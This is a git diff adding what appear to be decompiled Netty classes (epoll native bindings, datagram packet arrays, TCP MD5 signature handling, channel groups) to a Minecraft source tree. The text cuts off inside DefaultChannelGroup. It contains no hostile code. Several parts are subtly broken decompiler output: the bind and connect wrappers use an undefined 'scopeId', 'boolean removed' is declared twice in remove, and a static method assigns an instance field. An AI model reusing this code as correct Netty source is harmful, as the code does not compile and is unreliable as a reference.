+  }
+  
+  public static void bind(int fd, InetAddress addr, int port)
+    throws IOException
+  {
+    NativeInetAddress address = toNativeInetAddress(addr);
+    bind(fd, address, scopeId, port);
+  }
+  
+  private static byte[] ipv4MappedIpv6Address(byte[] ipv4) {
+    byte[] address = new byte[16];
+    System.arraycopy(IPV4_MAPPED_IPV6_PREFIX, 0, address, 0, IPV4_MAPPED_IPV6_PREFIX.length);
+    System.arraycopy(ipv4, 0, address, 12, ipv4.length);
+    return address;
+  }
+  
+  public static boolean connect(int fd, InetAddress addr, int port)
+    throws IOException
+  {
+    NativeInetAddress address = toNativeInetAddress(addr);
+    return connect(fd, address, scopeId, port);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static NativeInetAddress toNativeInetAddress(InetAddress addr)
+  {
+    byte[] bytes = addr.getAddress();
+    if ((addr instanceof Inet6Address)) {
+      return new NativeInetAddress(bytes, ((Inet6Address)addr).getScopeId());
+    }
+    
+    return new NativeInetAddress(ipv4MappedIpv6Address(bytes));
+  }
+  
+  public static native int eventFd();
+  
+  public static native void eventFdWrite(int paramInt, long paramLong);
+  
+  public static native void eventFdRead(int paramInt);
+  
+  private static class NativeInetAddress { NativeInetAddress(byte[] address, int scopeId) { this.address = address;
+      this.scopeId = scopeId; }
+    
+    final byte[] address;
+    final int scopeId;
+    NativeInetAddress(byte[] address) { this(address, 0); }
+  }
+  
+  public static native int epollCreate();
+  
+  public static native int epollWait(int paramInt1, long[] paramArrayOfLong, int paramInt2);
+  
+  public static native void epollCtlAdd(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  public static native void epollCtlMod(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  public static native void epollCtlDel(int paramInt1, int paramInt2);
+  
+  public static native void close(int paramInt)
+    throws IOException;
+  
+  public static native int write(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native int writeAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native long writev(int paramInt1, ByteBuffer[] paramArrayOfByteBuffer, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native long writevAddresses(int paramInt1, long paramLong, int paramInt2)
+    throws IOException;
+  
+  public static native int read(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native int readAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native long sendfile(int paramInt, DefaultFileRegion paramDefaultFileRegion, long paramLong1, long paramLong2, long paramLong3)
+    throws IOException;
+  
+  private static native int sendTo(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3, byte[] paramArrayOfByte, int paramInt4, int paramInt5)
+    throws IOException;
+  
+  private static native int sendToAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3, byte[] paramArrayOfByte, int paramInt4, int paramInt5)
+    throws IOException;
+  
+  public static native EpollDatagramChannel.DatagramSocketAddress recvFrom(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native EpollDatagramChannel.DatagramSocketAddress recvFromAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  private static native int socketStream()
+    throws IOException;
+  
+  private static native int socketDgram()
+    throws IOException;
+  
+  public static native void bind(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native void listen(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  public static native boolean connect(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  public static native boolean finishConnect(int paramInt)
+    throws IOException;
+  
+  public static native InetSocketAddress remoteAddress(int paramInt);
+  
+  public static native InetSocketAddress localAddress(int paramInt);
+  
+  public static native int accept(int paramInt)
+    throws IOException;
+  
+  public static native void shutdown(int paramInt, boolean paramBoolean1, boolean paramBoolean2)
+    throws IOException;
+  
+  public static native int getReceiveBufferSize(int paramInt);
+  
+  public static native int getSendBufferSize(int paramInt);
+  
+  public static native int isKeepAlive(int paramInt);
+  
+  public static native int isReuseAddress(int paramInt);
+  
+  public static native int isReusePort(int paramInt);
+  
+  public static native int isTcpNoDelay(int paramInt);
+  
+  public static native int isTcpCork(int paramInt);
+  
+  public static native int getSoLinger(int paramInt);
+  
+  public static native int getTrafficClass(int paramInt);
+  
+  public static native int isBroadcast(int paramInt);
+  
+  public static native int getTcpKeepIdle(int paramInt);
+  
+  public static native int getTcpKeepIntvl(int paramInt);
+  
+  public static native int getTcpKeepCnt(int paramInt);
+  
+  public static native void setKeepAlive(int paramInt1, int paramInt2);
+  
+  public static native void setReceiveBufferSize(int paramInt1, int paramInt2);
+  
+  public static native void setReuseAddress(int paramInt1, int paramInt2);
+  
+  public static native void setReusePort(int paramInt1, int paramInt2);
+  
+  public static native void setSendBufferSize(int paramInt1, int paramInt2);
+  
+  public static native void setTcpNoDelay(int paramInt1, int paramInt2);
+  
+  public static native void setTcpCork(int paramInt1, int paramInt2);
+  
+  public static native void setSoLinger(int paramInt1, int paramInt2);
+  
+  public static native void setTrafficClass(int paramInt1, int paramInt2);
+  
+  public static native void setBroadcast(int paramInt1, int paramInt2);
+  
+  public static native void setTcpKeepIdle(int paramInt1, int paramInt2);
+  
+  public static native void setTcpKeepIntvl(int paramInt1, int paramInt2);
+  
+  public static native void setTcpKeepCnt(int paramInt1, int paramInt2);
+  
+  public static native String kernelVersion();
+  
+  private static native int iovMax();
+  
+  private Native() {}
+}
diff --git a/src/minecraft/io/netty/channel/epoll/NativeDatagramPacketArray.java b/src/minecraft/io/netty/channel/epoll/NativeDatagramPacketArray.java
new file mode 100644
index 0000000..724c650
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/NativeDatagramPacketArray.java
@@ -0,0 +1,159 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelOutboundBuffer.MessageProcessor;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.channel.unix.NativeInetAddress;
+import io.netty.util.concurrent.FastThreadLocal;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class NativeDatagramPacketArray
+  implements ChannelOutboundBuffer.MessageProcessor
+{
+  private static final FastThreadLocal<NativeDatagramPacketArray> ARRAY = new FastThreadLocal()
+  {
+    protected NativeDatagramPacketArray initialValue() throws Exception
+    {
+      return new NativeDatagramPacketArray(null);
+    }
+    
+    protected void onRemoval(NativeDatagramPacketArray value) throws Exception
+    {
+      NativeDatagramPacketArray.NativeDatagramPacket[] array = packets;
+      
+      for (int i = 0; i < array.length; i++) {
+        array[i].release();
+      }
+    }
+  };
+  
+
+  private final NativeDatagramPacket[] packets = new NativeDatagramPacket[Native.UIO_MAX_IOV];
+  private int count;
+  
+  private NativeDatagramPacketArray() {
+    for (int i = 0; i < packets.length; i++) {
+      packets[i] = new NativeDatagramPacket();
+    }
+  }
+  
+
+
+
+  boolean add(DatagramPacket packet)
+  {
+    if (count == packets.length) {
+      return false;
+    }
+    ByteBuf content = (ByteBuf)packet.content();
+    int len = content.readableBytes();
+    if (len == 0) {
+      return true;
+    }
+    NativeDatagramPacket p = packets[count];
+    InetSocketAddress recipient = (InetSocketAddress)packet.recipient();
+    if (!p.init(content, recipient)) {
+      return false;
+    }
+    
+    count += 1;
+    return true;
+  }
+  
+  public boolean processMessage(Object msg) throws Exception
+  {
+    return ((msg instanceof DatagramPacket)) && (add((DatagramPacket)msg));
+  }
+  
+
+
+  int count()
+  {
+    return count;
+  }
+  
+
+
+  NativeDatagramPacket[] packets()
+  {
+    return packets;
+  }
+  
+
+
+  static NativeDatagramPacketArray getInstance(ChannelOutboundBuffer buffer)
+    throws Exception
+  {
+    NativeDatagramPacketArray array = (NativeDatagramPacketArray)ARRAY.get();
+    count = 0;
+    buffer.forEachFlushedMessage(array);
+    return array;
+  }
+  
+
+
+
+
+
+
+  static final class NativeDatagramPacket
+  {
+    private final IovArray array = new IovArray();
+    private long memoryAddress;
+    private int count;
+    private byte[] addr;
+    private int scopeId;
+    private int port;
+    
+    NativeDatagramPacket() {}
+    
+    private void release()
+    {
+      array.release();
+    }
+    
+
+
+    private boolean init(ByteBuf buf, InetSocketAddress recipient)
+    {
+      array.clear();
+      if (!array.add(buf)) {
+        return false;
+      }
+      
+      memoryAddress = array.memoryAddress(0);
+      count = array.count();
+      
+      InetAddress address = recipient.getAddress();
+      if ((address instanceof Inet6Address)) {
+        addr = address.getAddress();
+        scopeId = ((Inet6Address)address).getScopeId();
+      } else {
+        addr = NativeInetAddress.ipv4MappedIpv6Address(address.getAddress());
+        scopeId = 0;
+      }
+      port = recipient.getPort();
+      return true;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/NativeStaticallyReferencedJniMethods.java b/src/minecraft/io/netty/channel/epoll/NativeStaticallyReferencedJniMethods.java
new file mode 100644
index 0000000..6535061
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/NativeStaticallyReferencedJniMethods.java
@@ -0,0 +1,30 @@
+package io.netty.channel.epoll;
+
+final class NativeStaticallyReferencedJniMethods
+{
+  private NativeStaticallyReferencedJniMethods() {}
+  
+  static native int epollin();
+  
+  static native int epollout();
+  
+  static native int epollrdhup();
+  
+  static native int epollet();
+  
+  static native int epollerr();
+  
+  static native long ssizeMax();
+  
+  static native int tcpMd5SigMaxKeyLen();
+  
+  static native int iovMax();
+  
+  static native int uioMaxIov();
+  
+  static native boolean isSupportingSendmmsg();
+  
+  static native boolean isSupportingTcpFastopen();
+  
+  static native String kernelVersion();
+}
diff --git a/src/minecraft/io/netty/channel/epoll/TcpMd5Util.java b/src/minecraft/io/netty/channel/epoll/TcpMd5Util.java
new file mode 100644
index 0000000..74e863c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/TcpMd5Util.java
@@ -0,0 +1,77 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.unix.Socket;
+import io.netty.util.internal.ObjectUtil;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class TcpMd5Util
+{
+  static Collection<InetAddress> newTcpMd5Sigs(AbstractEpollChannel channel, Collection<InetAddress> current, Map<InetAddress, byte[]> newKeys)
+    throws IOException
+  {
+    ObjectUtil.checkNotNull(channel, "channel");
+    ObjectUtil.checkNotNull(current, "current");
+    ObjectUtil.checkNotNull(newKeys, "newKeys");
+    
+
+    for (Map.Entry<InetAddress, byte[]> e : newKeys.entrySet()) {
+      byte[] key = (byte[])e.getValue();
+      if (e.getKey() == null) {
+        throw new IllegalArgumentException("newKeys contains an entry with null address: " + newKeys);
+      }
+      if (key == null) {
+        throw new NullPointerException("newKeys[" + e.getKey() + ']');
+      }
+      if (key.length == 0) {
+        throw new IllegalArgumentException("newKeys[" + e.getKey() + "] has an empty key.");
+      }
+      if (key.length > Native.TCP_MD5SIG_MAXKEYLEN) {
+        throw new IllegalArgumentException("newKeys[" + e.getKey() + "] has a key with invalid length; should not exceed the maximum length (" + Native.TCP_MD5SIG_MAXKEYLEN + ')');
+      }
+    }
+    
+
+
+
+    for (InetAddress addr : current) {
+      if (!newKeys.containsKey(addr)) {
+        Native.setTcpMd5Sig(channel.fd().intValue(), addr, null);
+      }
+    }
+    
+    if (newKeys.isEmpty()) {
+      return Collections.emptySet();
+    }
+    
+
+    Collection<InetAddress> addresses = new ArrayList(newKeys.size());
+    for (Map.Entry<InetAddress, byte[]> e : newKeys.entrySet()) {
+      Native.setTcpMd5Sig(channel.fd().intValue(), (InetAddress)e.getKey(), (byte[])e.getValue());
+      addresses.add(e.getKey());
+    }
+    
+    return addresses;
+  }
+  
+  private TcpMd5Util() {}
+}
diff --git a/src/minecraft/io/netty/channel/group/ChannelGroup.java b/src/minecraft/io/netty/channel/group/ChannelGroup.java
new file mode 100644
index 0000000..143ed67
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelGroup.java
@@ -0,0 +1,42 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import java.util.Set;
+
+public abstract interface ChannelGroup
+  extends Set<Channel>, Comparable<ChannelGroup>
+{
+  public abstract String name();
+  
+  public abstract ChannelGroupFuture write(Object paramObject);
+  
+  public abstract ChannelGroupFuture write(Object paramObject, ChannelMatcher paramChannelMatcher);
+  
+  public abstract ChannelGroup flush();
+  
+  public abstract ChannelGroup flush(ChannelMatcher paramChannelMatcher);
+  
+  public abstract ChannelGroupFuture writeAndFlush(Object paramObject);
+  
+  @Deprecated
+  public abstract ChannelGroupFuture flushAndWrite(Object paramObject);
+  
+  public abstract ChannelGroupFuture writeAndFlush(Object paramObject, ChannelMatcher paramChannelMatcher);
+  
+  @Deprecated
+  public abstract ChannelGroupFuture flushAndWrite(Object paramObject, ChannelMatcher paramChannelMatcher);
+  
+  public abstract ChannelGroupFuture disconnect();
+  
+  public abstract ChannelGroupFuture disconnect(ChannelMatcher paramChannelMatcher);
+  
+  public abstract ChannelGroupFuture close();
+  
+  public abstract ChannelGroupFuture close(ChannelMatcher paramChannelMatcher);
+  
+  @Deprecated
+  public abstract ChannelGroupFuture deregister();
+  
+  @Deprecated
+  public abstract ChannelGroupFuture deregister(ChannelMatcher paramChannelMatcher);
+}
diff --git a/src/minecraft/io/netty/channel/group/ChannelGroupException.java b/src/minecraft/io/netty/channel/group/ChannelGroupException.java
new file mode 100644
index 0000000..4f20e42
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelGroupException.java
@@ -0,0 +1,52 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelGroupException
+  extends ChannelException
+  implements Iterable<Map.Entry<Channel, Throwable>>
+{
+  private static final long serialVersionUID = -4093064295562629453L;
+  private final Collection<Map.Entry<Channel, Throwable>> failed;
+  
+  public ChannelGroupException(Collection<Map.Entry<Channel, Throwable>> causes)
+  {
+    if (causes == null) {
+      throw new NullPointerException("causes");
+    }
+    if (causes.isEmpty()) {
+      throw new IllegalArgumentException("causes must be non empty");
+    }
+    failed = Collections.unmodifiableCollection(causes);
+  }
+  
+
+
+
+
+  public Iterator<Map.Entry<Channel, Throwable>> iterator()
+  {
+    return failed.iterator();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/group/ChannelGroupFuture.java b/src/minecraft/io/netty/channel/group/ChannelGroupFuture.java
new file mode 100644
index 0000000..48ab167
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelGroupFuture.java
@@ -0,0 +1,43 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.util.Iterator;
+
+public abstract interface ChannelGroupFuture
+  extends Future<Void>, Iterable<ChannelFuture>
+{
+  public abstract ChannelGroup group();
+  
+  public abstract ChannelFuture find(Channel paramChannel);
+  
+  public abstract boolean isSuccess();
+  
+  public abstract ChannelGroupException cause();
+  
+  public abstract boolean isPartialSuccess();
+  
+  public abstract boolean isPartialFailure();
+  
+  public abstract ChannelGroupFuture addListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelGroupFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelGroupFuture removeListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelGroupFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelGroupFuture await()
+    throws InterruptedException;
+  
+  public abstract ChannelGroupFuture awaitUninterruptibly();
+  
+  public abstract ChannelGroupFuture syncUninterruptibly();
+  
+  public abstract ChannelGroupFuture sync()
+    throws InterruptedException;
+  
+  public abstract Iterator<ChannelFuture> iterator();
+}
diff --git a/src/minecraft/io/netty/channel/group/ChannelGroupFutureListener.java b/src/minecraft/io/netty/channel/group/ChannelGroupFutureListener.java
new file mode 100644
index 0000000..99204c6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelGroupFutureListener.java
@@ -0,0 +1,7 @@
+package io.netty.channel.group;
+
+import io.netty.util.concurrent.GenericFutureListener;
+
+public abstract interface ChannelGroupFutureListener
+  extends GenericFutureListener<ChannelGroupFuture>
+{}
diff --git a/src/minecraft/io/netty/channel/group/ChannelMatcher.java b/src/minecraft/io/netty/channel/group/ChannelMatcher.java
new file mode 100644
index 0000000..cf81198
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelMatcher.java
@@ -0,0 +1,8 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+
+public abstract interface ChannelMatcher
+{
+  public abstract boolean matches(Channel paramChannel);
+}
diff --git a/src/minecraft/io/netty/channel/group/ChannelMatchers.java b/src/minecraft/io/netty/channel/group/ChannelMatchers.java
new file mode 100644
index 0000000..733cf97
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/ChannelMatchers.java
@@ -0,0 +1,169 @@
+package io.netty.channel.group;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ServerChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelMatchers
+{
+  private static final ChannelMatcher ALL_MATCHER = new ChannelMatcher()
+  {
+    public boolean matches(Channel channel) {
+      return true;
+    }
+  };
+  
+  private static final ChannelMatcher SERVER_CHANNEL_MATCHER = isInstanceOf(ServerChannel.class);
+  private static final ChannelMatcher NON_SERVER_CHANNEL_MATCHER = isNotInstanceOf(ServerChannel.class);
+  
+
+
+  private ChannelMatchers() {}
+  
+
+
+  public static ChannelMatcher all()
+  {
+    return ALL_MATCHER;
+  }
+  
+
+
+  public static ChannelMatcher isNot(Channel channel)
+  {
+    return invert(is(channel));
+  }
+  
+
+
+  public static ChannelMatcher is(Channel channel)
+  {
+    return new InstanceMatcher(channel);
+  }
+  
+
+
+
+  public static ChannelMatcher isInstanceOf(Class<? extends Channel> clazz)
+  {
+    return new ClassMatcher(clazz);
+  }
+  
+
+
+
+  public static ChannelMatcher isNotInstanceOf(Class<? extends Channel> clazz)
+  {
+    return invert(isInstanceOf(clazz));
+  }
+  
+
+
+  public static ChannelMatcher isServerChannel()
+  {
+    return SERVER_CHANNEL_MATCHER;
+  }
+  
+
+
+
+  public static ChannelMatcher isNonServerChannel()
+  {
+    return NON_SERVER_CHANNEL_MATCHER;
+  }
+  
+
+
+  public static ChannelMatcher invert(ChannelMatcher matcher)
+  {
+    return new InvertMatcher(matcher);
+  }
+  
+
+
+
+  public static ChannelMatcher compose(ChannelMatcher... matchers)
+  {
+    if (matchers.length < 1) {
+      throw new IllegalArgumentException("matchers must at least contain one element");
+    }
+    if (matchers.length == 1) {
+      return matchers[0];
+    }
+    return new CompositeMatcher(matchers);
+  }
+  
+  private static final class CompositeMatcher implements ChannelMatcher {
+    private final ChannelMatcher[] matchers;
+    
+    CompositeMatcher(ChannelMatcher... matchers) {
+      this.matchers = matchers;
+    }
+    
+    public boolean matches(Channel channel)
+    {
+      for (ChannelMatcher m : matchers) {
+        if (!m.matches(channel)) {
+          return false;
+        }
+      }
+      return true;
+    }
+  }
+  
+  private static final class InvertMatcher implements ChannelMatcher {
+    private final ChannelMatcher matcher;
+    
+    InvertMatcher(ChannelMatcher matcher) {
+      this.matcher = matcher;
+    }
+    
+    public boolean matches(Channel channel)
+    {
+      return !matcher.matches(channel);
+    }
+  }
+  
+  private static final class InstanceMatcher implements ChannelMatcher {
+    private final Channel channel;
+    
+    InstanceMatcher(Channel channel) {
+      this.channel = channel;
+    }
+    
+    public boolean matches(Channel ch)
+    {
+      return channel == ch;
+    }
+  }
+  
+  private static final class ClassMatcher implements ChannelMatcher {
+    private final Class<? extends Channel> clazz;
+    
+    ClassMatcher(Class<? extends Channel> clazz) {
+      this.clazz = clazz;
+    }
+    
+    public boolean matches(Channel ch)
+    {
+      return clazz.isInstance(ch);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/group/CombinedIterator.java b/src/minecraft/io/netty/channel/group/CombinedIterator.java
new file mode 100644
index 0000000..1416157
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/CombinedIterator.java
@@ -0,0 +1,75 @@
+package io.netty.channel.group;
+
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CombinedIterator<E>
+  implements Iterator<E>
+{
+  private final Iterator<E> i1;
+  private final Iterator<E> i2;
+  private Iterator<E> currentIterator;
+  
+  CombinedIterator(Iterator<E> i1, Iterator<E> i2)
+  {
+    if (i1 == null) {
+      throw new NullPointerException("i1");
+    }
+    if (i2 == null) {
+      throw new NullPointerException("i2");
+    }
+    this.i1 = i1;
+    this.i2 = i2;
+    currentIterator = i1;
+  }
+  
+  public boolean hasNext()
+  {
+    for (;;) {
+      if (currentIterator.hasNext()) {
+        return true;
+      }
+      
+      if (currentIterator != i1) break;
+      currentIterator = i2;
+    }
+    return false;
+  }
+  
+  public E next()
+  {
+    for (;;)
+    {
+      try
+      {
+        return currentIterator.next();
+      } catch (NoSuchElementException e) {
+        if (currentIterator == i1) {
+          currentIterator = i2;
+        } else {
+          throw e;
+        }
+      }
+    }
+  }
+  
+  public void remove()
+  {
+    currentIterator.remove();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/group/DefaultChannelGroup.java b/src/minecraft/io/netty/channel/group/DefaultChannelGroup.java
new file mode 100644
index 0000000..3c2fb8b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/group/DefaultChannelGroup.java
@@ -0,0 +1,359 @@
+package io.netty.channel.group;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ServerChannel;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.ConcurrentSet;
+import io.netty.util.internal.StringUtil;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultChannelGroup
+  extends AbstractSet<Channel>
+  implements ChannelGroup
+{
+  private static final AtomicInteger nextId = new AtomicInteger();
+  private final String name;
+  private final EventExecutor executor;
+  private final ConcurrentSet<Channel> serverChannels = new ConcurrentSet();
+  private final ConcurrentSet<Channel> nonServerChannels = new ConcurrentSet();
+  private final ChannelFutureListener remover = new ChannelFutureListener()
+  {
+    public void operationComplete(ChannelFuture future) throws Exception {
+      remove(future.channel());
+    }
+  };
+  
+
+
+
+  public DefaultChannelGroup(EventExecutor executor)
+  {
+    this("group-0x" + Integer.toHexString(nextId.incrementAndGet()), executor);
+  }
+  
+
+
+
+
+  public DefaultChannelGroup(String name, EventExecutor executor)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    this.name = name;
+    this.executor = executor;
+  }
+  
+  public String name()
+  {
+    return name;
+  }
+  
+  public boolean isEmpty()
+  {
+    return (nonServerChannels.isEmpty()) && (serverChannels.isEmpty());
+  }
+  
+  public int size()
+  {
+    return nonServerChannels.size() + serverChannels.size();
+  }
+  
+  public boolean contains(Object o)
+  {
+    if ((o instanceof Channel)) {
+      Channel c = (Channel)o;
+      if ((o instanceof ServerChannel)) {
+        return serverChannels.contains(c);
+      }
+      return nonServerChannels.contains(c);
+    }
+    
+    return false;
+  }
+  
+
+  public boolean add(Channel channel)
+  {
+    ConcurrentSet<Channel> set = (channel instanceof ServerChannel) ? serverChannels : nonServerChannels;
+    
+
+    boolean added = set.add(channel);
+    if (added) {
+      channel.closeFuture().addListener(remover);
+    }
+    return added;
+  }
+  
+  public boolean remove(Object o)
+  {
+    if (!(o instanceof Channel)) {
+      return false;
+    }
+    
+    Channel c = (Channel)o;
+    boolean removed; boolean removed; if ((c instanceof ServerChannel)) {
+      removed = serverChannels.remove(c);
+    } else {
+      removed = nonServerChannels.remove(c);
+    }
+    if (!removed) {
+      return false;
+    }
+    
+    c.closeFuture().removeListener(remover);
+    return true;
+  }
+  
+  public void clear()
+  {
+    nonServerChannels.clear();
+    serverChannels.clear();
+  }
+  
+  public Iterator<Channel> iterator()
+  {
+    return new CombinedIterator(serverChannels.iterator(), nonServerChannels.iterator());
+  }
+  
+
+
+  public Object[] toArray()
+  {
+    Collection<Channel> channels = new ArrayList(size());
+    channels.addAll(serverChannels);
+    channels.addAll(nonServerChannels);
+    return channels.toArray();
+  }
+  
+  public <T> T[] toArray(T[] a)
+  {
+    Collection<Channel> channels = new ArrayList(size());
+    channels.addAll(serverChannels);
+    channels.addAll(nonServerChannels);
+    return channels.toArray(a);
+  }
+  
+  public ChannelGroupFuture close()
+  {
+    return close(ChannelMatchers.all());
+  }
+  
+  public ChannelGroupFuture disconnect()
+  {
+    return disconnect(ChannelMatchers.all());
+  }
+  
+  public ChannelGroupFuture deregister()
+  {
+    return deregister(ChannelMatchers.all());
+  }
+  
+  public ChannelGroupFuture write(Object message)
+  {
+    return write(message, ChannelMatchers.all());
+  }
+  
+
+  private static Object safeDuplicate(Object message)
+  {
+    if ((message instanceof ByteBuf))
+      return ((ByteBuf)message).duplicate().retain();
+    if ((message instanceof ByteBufHolder)) {
+      return ((ByteBufHolder)message).duplicate().retain();
+    }
+    return ReferenceCountUtil.retain(message);
+  }
+  
+
+  public ChannelGroupFuture write(Object message, ChannelMatcher matcher)
+  {
+    if (message == null) {
+      throw new NullPointerException("message");
+    }
+    if (matcher == null) {
+      throw new NullPointerException("matcher");
+    }
+    
+    Map<Channel, ChannelFuture> futures = new LinkedHashMap(size());
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.write(safeDuplicate(message)));
+      }
+    }
+    
+    ReferenceCountUtil.release(message);
+    return new DefaultChannelGroupFuture(this, futures, executor);
+  }
+  
+  public ChannelGroup flush()
+  {
+    return flush(ChannelMatchers.all());
+  }
+  
+  public ChannelGroupFuture flushAndWrite(Object message)
+  {
+    return writeAndFlush(message);
+  }
+  
+  public ChannelGroupFuture writeAndFlush(Object message)
+  {
+    return writeAndFlush(message, ChannelMatchers.all());
+  }
+  
+  public ChannelGroupFuture disconnect(ChannelMatcher matcher)
+  {
+    if (matcher == null) {
+      throw new NullPointerException("matcher");
+    }
+    
+    Map<Channel, ChannelFuture> futures = new LinkedHashMap(size());
+    
+
+    for (Channel c : serverChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.disconnect());
+      }
+    }
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.disconnect());
+      }
+    }
+    
+    return new DefaultChannelGroupFuture(this, futures, executor);
+  }
+  
+  public ChannelGroupFuture close(ChannelMatcher matcher)
+  {
+    if (matcher == null) {
+      throw new NullPointerException("matcher");
+    }
+    
+    Map<Channel, ChannelFuture> futures = new LinkedHashMap(size());
+    
+
+    for (Channel c : serverChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.close());
+      }
+    }
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.close());
+      }
+    }
+    
+    return new DefaultChannelGroupFuture(this, futures, executor);
+  }
+  
+  public ChannelGroupFuture deregister(ChannelMatcher matcher)
+  {
+    if (matcher == null) {
+      throw new NullPointerException("matcher");
+    }
+    
+    Map<Channel, ChannelFuture> futures = new LinkedHashMap(size());
+    
+
+    for (Channel c : serverChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.deregister());
+      }
+    }
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.deregister());
+      }
+    }
+    
+    return new DefaultChannelGroupFuture(this, futures, executor);
+  }
+  
+  public ChannelGroup flush(ChannelMatcher matcher)
+  {
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        c.flush();
+      }
+    }
+    return this;
+  }
+  
+  public ChannelGroupFuture flushAndWrite(Object message, ChannelMatcher matcher)
+  {
+    return writeAndFlush(message, matcher);
+  }
+  
+  public ChannelGroupFuture writeAndFlush(Object message, ChannelMatcher matcher)
+  {
+    if (message == null) {
+      throw new NullPointerException("message");
+    }
+    
+    Map<Channel, ChannelFuture> futures = new LinkedHashMap(size());
+    
+    for (Channel c : nonServerChannels) {
+      if (matcher.matches(c)) {
+        futures.put(c, c.writeAndFlush(safeDuplicate(message)));
+      }
+    }
+    
+    ReferenceCountUtil.release(message);
+    
+    return new DefaultChannelGroupFuture(this, futures, executor);
+  }
+  
+  public int hashCode()
+  {
+    return System.identityHashCode(this);
+  }
+  
+  public boolean equals(Object o)
+  {
+    return this == o;
+  }
+  
+  public int compareTo(ChannelGroup o)
+  {
+    int v = name().compareTo(o.name());
+    if (v != 0) {
+      return v;
+    }
+    
+    return System.identityHashCode(this) - System.identityHashCode(o);
+  }
+  
+  public String toString()
+  {
